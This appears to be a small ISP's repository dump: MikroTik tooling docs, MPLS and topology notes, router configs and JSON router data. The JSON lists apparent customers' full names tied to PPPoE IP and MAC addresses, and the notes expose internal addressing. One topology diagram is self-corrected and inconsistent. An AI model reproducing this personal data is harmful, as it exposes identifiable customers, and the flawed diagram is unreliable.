python3 create_site_and_router.py Climax 10.254.254.102 --router-name climax-core --physical-address "123 Tower Rd"
# For sites with multiple routers, create site first, then add each router
python3 create_site_only.py 380 --comments "Multi-router site"
python3 create_site_and_router.py 380 10.254.254.105 --router-name 380-core-router
python3 create_site_and_router.py 380 10.254.254.106 --router-name 380-edge-router
```
### 3. Get MikroTik Router Configuration
```bash
# Basic usage (uses default read-only credentials)
python3 get_mikrotik_router_data.py <router_ip>
# Save to specific file
python3 get_mikrotik_router_data.py 10.254.254.102 -o climax_config.json
# Output JSON to stdout
python3 get_mikrotik_router_data.py 10.254.254.102 --json
# Custom credentials
python3 get_mikrotik_router_data.py 10.254.254.102 -u admin -p secretpass
```
The script retrieves:
- Router identity
- IP addresses and subnets
- Active interfaces
- VLANs
- PPPoE servers
- Static routes
### 4. Get MikroTik Router Data (Basic/Older RouterOS)
For older RouterOS versions or routers with many IPs (like CGNAT):
```bash
python3 get_mikrotik_basic_data.py <router_ip> -o router_data.json
```
This simplified script:
- Groups CGNAT addresses into a single subnet entry
- Focuses on key interfaces only
- Works better with older RouterOS versions
- Handles large configurations without timing out
### 5. Get All Network Devices
```bash
# Get all devices categorized by type
python3 get_all_network_devices.py <router_ip>
# Show all devices including "Other" category
python3 get_all_network_devices.py <router_ip> --show-all
# Save to JSON file
python3 get_all_network_devices.py <router_ip> -o devices.json
```
This script retrieves DHCP leases and ARP table to identify:
- Ubiquiti access points and devices
- MikroTik devices
- Other network devices
## Network Topology Patterns
### Access Point Placement
- Access points are always placed in the top /24 of the management subnet for each tower
- Example: For management subnet 10.10.16.0/20, APs are in 10.10.31.0/24 (the last /24 in that range)
- Formula: For subnet X.Y.Z.0/20, APs are in X.Y.(Z+15).0/24
### Ubiquiti MAC Prefixes
Common MAC address prefixes for Ubiquiti devices:
- 00:04:56 (legacy)
- 00:27:22 (legacy)
- 04:18:D6
- 24:A4:3C
- 68:72:51
- 80:2A:A8
- F0:9F:C2
- FC:EC:DA
## MPLS / LDP
### FastTrack is incompatible with MPLS on RouterOS 7
FastTrack bypasses the IP forwarding path that MPLS push/pop runs on, so any
flow that gets fasttracked on a router whose path uses an MPLS-enabled
interface can break — packets either hit the wrong interface or never get
labeled, which presents as black-holing for specific source subnets that
weren't fasttracked before. Symptoms: pings/SSH/TCP from one source IP work
but the same destination is unreachable from another source on the same
router; loopback-sourced traffic works but vlan-interface-sourced doesn't.
**Fix:** before each `action=fasttrack-connection` rule in `chain=forward`,
add `accept` rules that match the MPLS-bound interface(s) so those flows
never enter the fasttrack path:
```
/ip firewall filter
add chain=forward action=accept in-interface=<mpls-iface> comment="bypass fasttrack for MPLS spine (in)" place-before=<fasttrack-id>
add chain=forward action=accept out-interface=<mpls-iface> comment="bypass fasttrack for MPLS spine (out)" place-before=<fasttrack-id>
```
Customer→internet flows continue to fasttrack normally; only flows traversing
the MPLS spine bypass it.
### LDP doesn't label OSPF Type-5 externals by default
Prefixes redistributed via `redistribute=connected` (e.g., a /27 customer
WAN handoff like 204.110.191.0/27) appear as Type-5 external LSAs and don't
get LDP label bindings. Forward path to a labeled destination still works,
but the return path is plain IP. If you need labeled bidirectional reach
for a redistributed prefix, configure an LDP advertise-filter that
explicitly includes it.
### MPLS-MTU is the labeled-frame cap, not the IP-payload cap
`mpls-mtu=1500` caps the *labeled* frame at 1500 bytes, which means an inner
IP payload is limited to 1496 bytes — so 1500-byte DF customer traffic gets
icmp-frag-needed. Use `mpls-mtu=1508` for a 1500-byte IP payload + 4-byte
label, with 4 bytes of headroom for one more stacked label. The AF11/AF24
radio l2mtu is 2024, so 1508 fits comfortably.
### Fleet-wide MPLS topology
LDP runs IPv4-only across every backbone link in the network. Every backbone
port has `mpls-mtu=1508` set explicitly and a fasttrack-bypass pair (in/out)
above the `fasttrack-connection` rule on both endpoints. Documented in
`mikrotik-tool/mpls.md`.
```
verona ──AF11── climax ──AF24── core ──AF11── culleoka
│ │ │
│ AF11 │ AF11 │ AF11 (DOWN: power injector unplugged)
│ │ │
494 newhope ──AF24── lowry
│ 60 GHz
982
```
Wait — that diagram's links are: climax↔494 (AF11), core↔newhope (AF11),
core↔982 (60 GHz), newhope↔lowry (AF24). The climax↔culleoka direct AF11
is currently down at the radio (physical issue), so culleoka traffic
transits via core.
## Fleet Topology
### Routers and loopbacks
All ROS7 routers run RouterOS 7.21.4 long-term (post-2026-05-08 fleet
upgrade). Edge runs ROS 6.49.18 (legacy, no MPLS, ignore for the spine).
| Router | Loopback (10.254.254.x) | Hardware | Site name |
|--|--|--|--|
| verona | .101 | CCR2004-16G-2S+ (arm64) | verona |
| climax | .102 | CCR2004-16G-2S+ (arm64) | climax |
| culleoka | .104 | CCR1009-7G-1C-1S+ (tile) | culleoka |
| newhope | .108 | CCR1009-7G-1C-1S+ (tile) | newhope |
| lowry | .109 | (tile) | lowrycrossing |
| 982 | .110 | (CCR, tile) | 982 |
| 494 | .111 | (CCR, tile) | 494 |
| core | .253 | (CCR, arm64) at 380 | core/380 |
| edge | .254 | (legacy, ROS 6.49.18) | edge |
Tile-arch boxes can run MPLS but **not** ZeroTier (no .npk for tile).
### Backbone links
Every link below has IPv4 LDP enabled at both ends, `mpls-mtu=1508`, and
fasttrack-bypass rules in both directions on both routers.
| Link | Type | A-side iface | B-side iface | /29 subnet | l2mtu |
|--|--|--|--|--|--|
| verona↔climax | AF11 | verona `ether3-climax-11ghz` | climax `ether6-verona-11ghz` | 10.250.1.24/29 | 2024 |
| climax↔core | AF24 | climax `ether4-380-airfiber24` | core `ether5-climax` | 10.250.1.88/29 | 2024 |
| climax↔494 | AF11 | climax `ether5-494` | 494 `ether2-climax` | 10.250.1.64/29 | 1580 |
| climax↔culleoka | AF11 | climax `ether3-culleoka-11ghz` | culleoka `ether1-climax-11ghz` | 10.250.1.8/29 | 2024 (link DOWN) |
| core↔culleoka | AF11 | core `ether6-culleoka-11ghz` | culleoka `ether6-380-11ghz` | 10.250.1.48/29 | 2024 |
| core↔newhope | AF11 | core `ether4-newhope` | newhope `ether2-380` | 10.250.1.56/29 | 9000 |
| core↔982 | 60 GHz | core `ether1-982-60ghz` | 982 `ether7-380` | 10.250.1.32/29 | 9000 |
| newhope↔lowry | AF24 | newhope `ether6-lowrycrossing` | lowry `ether1-newhope` | 10.250.1.104/29 | 9000 |
| core↔edge | wired | core `sfp-sfpplus1-edge-preseem` + `ether3-edge-direct` | edge ports | 204.110.191.x | n/a |
l2mtu mismatches across the fleet are intentional per platform: AF11 base
ports default to 2024 on CCR2004 / 1580 on smaller CCRs; jumbo-capable
links (60 GHz, AF24-with-jumbo, fiber) go to 9000. **Always raise both
sides symmetrically when changing l2mtu** — single-side raises usually work
because Ethernet receivers accept anything ≤ their cap, but symmetric is
the rule.
### IGP / routing
- OSPFv2 area `backbone-v2` (id 0.0.0.0) on all spine links, SHA-512 auth
with `auth-id=1` and a shared key. PTP type, BFD enabled where supported.
- OSPFv3 area `backbone-v3` for IPv6 (some interfaces only).
- All instances `redistribute=connected` with passthrough filters
(`/routing filter rule chain=ospf-out rule="accept;"`).
- Verona has a static default to `10.250.1.30` (climax) backing up the OSPF
default — keep this; bouncing OSPF on verona doesn't blackhole it.
- Distance-1 static routes also exist on climax for `204.110.191.0/27` so
the home /27 has guaranteed return path even if OSPF redistribution
hiccups.
### Management subnets per tower
`10.10.x.0/20` per site, top /24 reserved for APs (see Access Point
Placement section). Authoritative mapping is in
`mikrotik-tool/inventory.yaml`. Quick reference:
- verona: 10.10.0.0/20
- altoga (behind verona, no router): 10.10.16.0/20
- climax: 10.10.48.0/20
- core/380: 10.10.64.0/20
- culleoka: 10.10.96.0/20
- 982: 10.10.128.0/20
- newhope: 10.10.144.0/20
- 494: 10.10.160.0/20
- lowry: 10.10.80.0/20
CGNAT pools: `100.64.x.x/22` per tower (see `inventory.yaml` /
`subnets.yaml`).
### graham's home network gotcha
graham's home connects to verona via `vlan9_sfpplus1` carrying
`204.110.191.0/27` (home router at `.1`, verona at `.30`). This /27 is a
subnet of the verona hotspot's covered range (`204.110.188.0/22`). After
any verona reboot, ensure `/ip hotspot ip-binding` has an entry:
`address=204.110.191.0/27 type=bypassed comment="graham home /27"`
without it, hotspot drops all `204.110.191.x` traffic in `hs-unauth-to`
chain with `icmp-host-prohibited`. Symptom is "I can reach verona but
nothing past it" from the home network.
### IPv6 plan
Per-tower /44s + central server LAN at `2606:1c80::/64` on edge. Full
allocation plan in `mikrotik-tool/ipv6.md`. NetBox has these as IPAM
prefixes.
## Claude Assistant Guidelines
- Any time Claude learns something new, automatically add it to CLAUDE.md
## Development Best Practices
- When making scripts, keep them as generic and reusable as possible

1
README.md Normal file
View file

@ -0,0 +1 @@
/certificate add name=ca-template common-name=MyCA key-size=2048 days-valid=3650 key-usage=crl-sign,key-cert-sign; /certificate sign ca-template ca-crl-host=127.0.0.1 name=MyCA; /certificate add name=api-ssl common-name=10.254.254.102 key-size=2048 days-valid=3650 key-usage=digital-signature,key-encipherment,tls-server; /certificate sign api-ssl ca=MyCA name=api-ssl; /ip service set api-ssl certificate=api-ssl disabled=no port=8729

Binary file not shown.

51
backhauls.tf Normal file
View file

@ -0,0 +1,51 @@
# resource "towerops_device" "device_982_380_60_lr" {
# site_id = towerops_site.backhauls.id
# name = "982_380_60 LR"
# ip_address = "10.250.1.34"
# snmp_version = "1"
# }
# resource "towerops_device" "device_380_982_60_lr" {
# site_id = towerops_site.backhauls.id
# name = "380_982_ 60 LR"
# ip_address = "10.250.1.37"
# snmp_version = "1"
# }
# resource "towerops_device" "device_380_to_culleoka_11g" {
# site_id = towerops_site.backhauls.id
# name = "380 to Culleoka 11g"
# ip_address = "10.250.1.53"
# snmp_version = "1"
# }
# resource "towerops_device" "device_380_to_new_hope" {
# site_id = towerops_site.backhauls.id
# name = "380 to New Hope"
# ip_address = "10.250.1.61"
# snmp_version = "1"
# }
# resource "towerops_device" "climax_70" {
# site_id = towerops_site.backhauls.id
# name = "climax"
# ip_address = "10.250.1.70"
# snmp_version = "1"
# }
# resource "towerops_device" "lowry_crossing_to_new_hope" {
# site_id = towerops_site.backhauls.id
# name = "Lowry Crossing to New Hope"
# ip_address = "10.250.1.106"
# snmp_version = "1"
# }
# resource "towerops_device" "new_hope_to_lowry_crossing" {
# site_id = towerops_site.backhauls.id
# name = "new hope to lowry crossing"
# ip_address = "10.250.1.109"
# snmp_version = "1"
# }

156
camper.rsc Normal file
View file

@ -0,0 +1,156 @@
# 2025-11-27 17:39:07 by RouterOS 7.20.4
# software id = DM48-6FY7
#
# model = RB4011iGS+5HacQ2HnD
# serial number = A2820A548561
/interface bridge
add admin-mac=74:4D:28:1A:67:09 auto-mac=no comment=defconf name=bridgeLocal
add name=dockers
/interface wireless
set [ find default-name=wlan1 ] band=2ghz-g/n mode=ap-bridge ssid=camper \
wireless-protocol=802.11
/interface ethernet
set [ find default-name=ether2 ] name=ether2-starlink
set [ find default-name=ether3 ] name=ether3-tmobile
/interface veth
add address=172.17.0.2/16 dhcp=no gateway=172.17.0.1 gateway6="" name=veth1
/interface list
add name=WAN
add name=LAN
/interface wireless security-profiles
set [ find default=yes ] authentication-types=wpa-psk,wpa2-psk mode=\
dynamic-keys supplicant-identity=MikroTik
add authentication-types=wpa-psk,wpa2-psk mode=dynamic-keys name=\
wlan2-profile supplicant-identity=MikroTik
/interface wireless
set [ find default-name=wlan2 ] band=5ghz-n/ac disabled=no mode=ap-bridge \
security-profile=wlan2-profile ssid=camper wireless-protocol=802.11 \
wps-mode=disabled
/ip pool
add name=dhcp ranges=10.0.20.1-10.0.20.249
/ip dhcp-server
add address-pool=dhcp interface=bridgeLocal name=dhcp1
/port
set 0 name=serial0
set 1 name=serial1
/interface bridge port
add bridge=bridgeLocal comment=defconf interface=ether4
add bridge=bridgeLocal comment=defconf interface=ether5
add bridge=bridgeLocal comment=defconf interface=ether6
add bridge=bridgeLocal comment=defconf interface=ether7
add bridge=bridgeLocal comment=defconf interface=ether8
add bridge=bridgeLocal comment=defconf interface=ether9
add bridge=bridgeLocal comment=defconf interface=ether10
add bridge=bridgeLocal comment=defconf interface=sfp-sfpplus1
add bridge=bridgeLocal interface=wlan2
add bridge=bridgeLocal interface=wlan1
add bridge=dockers interface=veth1
/interface detect-internet
set lan-interface-list=LAN wan-interface-list=dynamic
/interface list member
add interface=ether2-starlink list=WAN
add interface=ether3-tmobile list=WAN
add interface=bridgeLocal list=LAN
/interface wireless cap
set bridge=bridgeLocal discovery-interfaces=bridgeLocal interfaces=\
wlan1,wlan2
/ip address
add address=10.0.20.254/24 interface=bridgeLocal network=10.0.20.0
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
/ip dhcp-client
add comment=tmobile default-route-distance=1 interface=ether3-tmobile
# Interface not active
add comment=defconf default-route-distance=2 interface=ether2-starlink
/ip dhcp-server lease
add address=10.0.20.251 client-id=1:2:a6:41:99:eb:4a mac-address=\
02:A6:41:99:EB:4A server=dhcp1
add address=10.0.20.252 client-id=\
ff:7e:7c:b4:ba:0:2:0:0:ab:11:20:5d:5:17:27:4d:31:d5 mac-address=\
BC:24:11:24:87:16 server=dhcp1
add address=10.0.20.249 client-id=\
ff:11:c3:76:34:0:1:0:1:30:a2:27:b8:bc:24:11:c3:76:34 mac-address=\
BC:24:11:C3:76:34 server=dhcp1
add address=10.0.20.253 mac-address=BC:24:11:E1:EA:98 server=dhcp1
/ip dhcp-server network
add address=10.0.20.0/24 dns-server=10.0.20.253,9.9.9.9,149.112.112.112 \
gateway=10.0.20.254 netmask=24
/ip firewall nat
add action=masquerade chain=srcnat out-interface-list=WAN
/ip route
add comment=starlink disabled=no dst-address=192.168.100.1/32 gateway=\
192.168.1.1 routing-table=main suppress-hw-offload=no
add dst-address=100.64.0.0/10 gateway=172.17.0.2
/ip upnp
set enabled=yes
/ip upnp interfaces
add interface=bridgeLocal type=internal
add interface=ether1 type=external
/ipv6 address
# address pool error: pool not found: starlink-v6 (4)
add address=::2 from-pool=starlink-v6 interface=bridgeLocal
/ipv6 dhcp-client
add interface=ether2-starlink pool-name=starlink-v6 rapid-commit=no request=\
prefix use-interface-duid=yes
/ipv6 firewall address-list
add address=::/128 comment="defconf: unspecified address" list=bad_ipv6
add address=::1/128 comment="defconf: lo" list=bad_ipv6
add address=fec0::/10 comment="defconf: site-local" list=bad_ipv6
add address=::ffff:0.0.0.0/96 comment="defconf: ipv4-mapped" list=bad_ipv6
add address=::/96 comment="defconf: ipv4 compat" list=bad_ipv6
add address=100::/64 comment="defconf: discard only " list=bad_ipv6
add address=2001:db8::/32 comment="defconf: documentation" list=bad_ipv6
add address=2001:10::/28 comment="defconf: ORCHID" list=bad_ipv6
add address=fe80::/10 list=prefix_delegation
add address=2605:59c8:4700:5c61::1/128 comment="dhcp6 client server value" \
list=prefix_delegation
/ipv6 firewall filter
add action=accept chain=input dst-port=5678 protocol=udp
add action=accept chain=input comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
invalid
add action=accept chain=input comment="defconf: accept ICMPv6" protocol=\
icmpv6
add action=accept chain=input comment="defconf: accept UDP traceroute" port=\
33434-33534 protocol=udp
add action=accept chain=input comment=\
"defconf: accept DHCPv6-Client prefix delegation." dst-port=546 protocol=\
udp src-address-list=prefix_delegation
add action=drop chain=input comment=\
"defconf: drop everything else not coming from LAN" in-interface=\
!bridgeLocal
add action=accept chain=forward comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
connection-state=invalid
add action=drop chain=forward comment=\
"defconf: drop packets with bad src ipv6" src-address-list=bad_ipv6
add action=drop chain=forward comment=\
"defconf: drop packets with bad dst ipv6" dst-address-list=bad_ipv6
add action=drop chain=forward comment="defconf: rfc4890 drop hop-limit=1" \
hop-limit=equal:1 protocol=icmpv6
add action=accept chain=forward comment="defconf: accept ICMPv6" protocol=\
icmpv6
add action=accept chain=forward comment="defconf: accept HIP" protocol=139
add action=drop chain=forward comment=\
"defconf: drop everything else not coming from LAN" in-interface=\
!bridgeLocal
/ipv6 nd
set [ find default=yes ] advertise-dns=no hop-limit=64 \
managed-address-configuration=yes mtu=1280 other-configuration=yes \
ra-interval=3m20s-8m20s
/ipv6 nd prefix default
set preferred-lifetime=10m valid-lifetime=15m
/system clock
set time-zone-name=America/Chicago
/system identity
set name=camper
/system leds
add interface=wlan1 leds="wlan1_signal1-led,wlan1_signal2-led,wlan1_signal3-le\
d,wlan1_signal4-led,wlan1_signal5-led" type=wireless-signal-strength
add interface=wlan1 leds=wlan1_tx-led type=interface-transmit
add interface=wlan1 leds=wlan1_rx-led type=interface-receive
/system routerboard settings
set auto-upgrade=yes

View file

@ -0,0 +1,54 @@
# CGNAT Allocation Analysis
This report analyzes the CGNAT (100.64.x.x) subnet allocations across all network sites to identify which sites use /22 allocations versus other sizes.
## Summary
### Sites Using /22 Allocations
1. **Climax** - 100.64.4.0/22 (100.64.4.0 - 100.64.7.255)
2. **Culleoka** - 100.64.24.0/22 (100.64.24.0 - 100.64.27.255)
3. **Site 982** - 100.64.32.0/22 (100.64.32.0 - 100.64.35.255)
4. **New Hope** - 100.64.16.0/22 (100.64.16.0 - 100.64.19.255)
5. **Site 380** - 100.64.8.0/22 (100.64.8.0 - 100.64.11.255)
### Sites Using /20 Allocations
1. **Site 494** - 100.64.160.0/20 (100.64.160.0 - 100.64.175.255)
2. **Lowry Crossing** - 100.64.144.0/20 (100.64.144.0 - 100.64.159.255)
## Detailed Site Information
### /22 Allocations (1,024 addresses each)
| Site | CGNAT Subnet | Router IP | Interface |
|------|-------------|-----------|-----------|
| Climax | 100.64.4.0/22 | 100.64.7.254/22 | climax-bridge |
| Culleoka | 100.64.24.0/22 | 100.64.27.254/22 | ether2-netonix |
| Site 982 | 100.64.32.0/22 | 100.64.35.254/22 | 982 |
| New Hope | 100.64.16.0/22 | 100.64.19.254/22 | sfp-sfpplus1-edgepoint |
| Site 380 | 100.64.8.0/22 | 100.64.11.254/22 | combo1-380 |
### /20 Allocations (4,096 addresses each)
| Site | CGNAT Subnet | Router IP | Interface |
|------|-------------|-----------|-----------|
| Site 494 | 100.64.160.0/20 | 100.64.175.254/20 | 494 |
| Lowry Crossing | 100.64.144.0/20 | 100.64.159.254/20 | lowrycrossing |
## Key Observations
1. **Allocation Size Pattern**:
- 5 sites use /22 allocations (1,024 addresses)
- 2 sites use /20 allocations (4,096 addresses)
2. **Larger Sites**: Sites 494 and Lowry Crossing have 4x larger CGNAT allocations compared to the other sites, suggesting they either serve more customers or were allocated larger blocks for future growth.
3. **Address Usage**: The /22 sites can support up to 1,022 customer connections (excluding network and broadcast addresses), while the /20 sites can support up to 4,094 customer connections.
4. **Sequential Allocation**: The /22 allocations appear to be somewhat sequential:
- 100.64.4.0/22 (Climax)
- 100.64.8.0/22 (Site 380)
- 100.64.16.0/22 (New Hope)
- 100.64.24.0/22 (Culleoka)
- 100.64.32.0/22 (Site 982)
5. **Separate Range for /20s**: The /20 allocations are in a different part of the CGNAT space:
- 100.64.144.0/20 (Lowry Crossing)
- 100.64.160.0/20 (Site 494)

41132
cgnat_hosts.txt Normal file

File diff suppressed because it is too large Load diff

30
climax_access_points.json Normal file
View file

@ -0,0 +1,30 @@
[
{
"name": "Gordon Hamilton",
"ip": "10.10.16.36",
"mac": "FC:EC:DA:CE:69:97",
"source": "dhcp",
"comment": ""
},
{
"name": "Tae Kim",
"ip": "10.10.16.70",
"mac": "FC:EC:DA:CE:68:19",
"source": "dhcp",
"comment": ""
},
{
"name": "ether5-494",
"ip": "10.250.1.65",
"mac": "DC:2C:6E:DD:87:55",
"source": "arp",
"interface": "ether5-494"
},
{
"name": "mgmt",
"ip": "10.10.31.13",
"mac": "80:2A:A8:FC:1D:AE",
"source": "arp",
"interface": "mgmt"
}
]

1353
climax_all_devices.json Normal file

File diff suppressed because it is too large Load diff

683
climax_config.json Normal file
View file

@ -0,0 +1,683 @@
{
"host": "10.254.254.102",
"identity": null,
"timestamp": "2026-03-26T17:14:54.781268",
"subnets": [
{
"address": "10.0.102.254/24",
"network": "10.0.102.0",
"interface": "ether1-climaxtower",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.102/32",
"network": "10.254.254.102",
"interface": "lo",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.62/27",
"network": "204.110.188.32",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.254/22",
"network": "100.64.4.0",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.14/29",
"network": "10.250.1.8",
"interface": "ether3-culleoka-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.30/29",
"network": "10.250.1.24",
"interface": "ether6-verona-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.70/29",
"network": "10.250.1.64",
"interface": "ether5-494",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.94/29",
"network": "10.250.1.88",
"interface": "ether4-380-airfiber24",
"comment": "",
"dynamic": false
},
{
"address": "10.10.31.254/20",
"network": "10.10.16.0",
"interface": "mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.247/32",
"network": "100.64.7.246",
"interface": "<pppoe-robbymccollom>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.245/32",
"network": "100.64.7.244",
"interface": "<pppoe-matthewgoodwin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.241/32",
"network": "100.64.7.240",
"interface": "<pppoe-chasewilliams>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.239/32",
"network": "100.64.7.238",
"interface": "<pppoe-timgilbert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.235/32",
"network": "100.64.7.234",
"interface": "<pppoe-gordonhamilton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.231/32",
"network": "100.64.7.230",
"interface": "<pppoe-amberprater>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.229/32",
"network": "204.110.188.38",
"interface": "<pppoe-michaelray>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.228/32",
"network": "100.64.7.227",
"interface": "<pppoe-cynthiajones>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.224/32",
"network": "100.64.7.223",
"interface": "<pppoe-janicealexander>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.220/32",
"network": "100.64.7.219",
"interface": "<pppoe-douggarber>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.218/32",
"network": "100.64.7.217",
"interface": "<pppoe-marysmelser>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.216/32",
"network": "100.64.7.215",
"interface": "<pppoe-eddieyarbrough>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.214/32",
"network": "204.110.188.42",
"interface": "<pppoe-taekim>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.213/32",
"network": "100.64.7.212",
"interface": "<pppoe-charlesboone>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.211/32",
"network": "100.64.7.210",
"interface": "<pppoe-chadwhitsell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.209/32",
"network": "100.64.7.208",
"interface": "<pppoe-donnacampbell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.207/32",
"network": "100.64.7.206",
"interface": "<pppoe-bryangoulart>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.205/32",
"network": "100.64.7.204",
"interface": "<pppoe-richardbarragan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.199/32",
"network": "100.64.7.198",
"interface": "<pppoe-tammieventris>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.197/32",
"network": "100.64.7.196",
"interface": "<pppoe-crystalharney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.195/32",
"network": "100.64.7.194",
"interface": "<pppoe-johnvayo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.193/32",
"network": "100.64.7.192",
"interface": "<pppoe-glendabeauchamp>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.189/32",
"network": "100.64.7.188",
"interface": "<pppoe-carolstrickland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.242/32",
"network": "100.64.7.184",
"interface": "<pppoe-jmichaelculverhouse>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.248/32",
"network": "100.64.7.181",
"interface": "<pppoe-elviraquezada>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.183/32",
"network": "100.64.7.177",
"interface": "<pppoe-rhondabolton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.236/32",
"network": "100.64.7.175",
"interface": "<pppoe-janetkern>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.202/32",
"network": "100.64.7.171",
"interface": "<pppoe-timbagert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.190/32",
"network": "100.64.7.170",
"interface": "<pppoe-gregmcintire>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.173/32",
"network": "100.64.7.167",
"interface": "<pppoe-ruthfengler>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.250/32",
"network": "100.64.4.1",
"interface": "<pppoe-mauriciosoto>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.169/32",
"network": "100.64.7.164",
"interface": "<pppoe-jenniferboon>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.165/32",
"network": "100.64.7.163",
"interface": "<pppoe-buddyswan>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether4-380-airfiber24",
"type": "ether",
"mac": "F4:1E:57:6B:41:C3",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-494",
"type": "ether",
"mac": "F4:1E:57:6B:41:C4",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-verona-11ghz",
"type": "ether",
"mac": "F4:1E:57:6B:41:C5",
"comment": "",
"mtu": 1500
},
{
"name": "ether8-michael",
"type": "ether",
"mac": "F4:1E:57:6B:41:C7",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1",
"type": "ether",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-amberprater>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bryangoulart>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-buddyswan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-carolstrickland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chadwhitsell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-charlesboone>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chasewilliams>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-crystalharney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cynthiajones>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-donnacampbell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-douggarber>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-eddieyarbrough>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elviraquezada>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1484
},
{
"name": "<pppoe-glendabeauchamp>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-gordonhamilton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-gregmcintire>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-janetkern>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-janicealexander>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jenniferboon>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jmichaelculverhouse>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-johnvayo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-marysmelser>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-matthewgoodwin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mauriciosoto>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-michaelray>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-rhondabolton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-richardbarragan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-robbymccollom>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ruthfengler>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
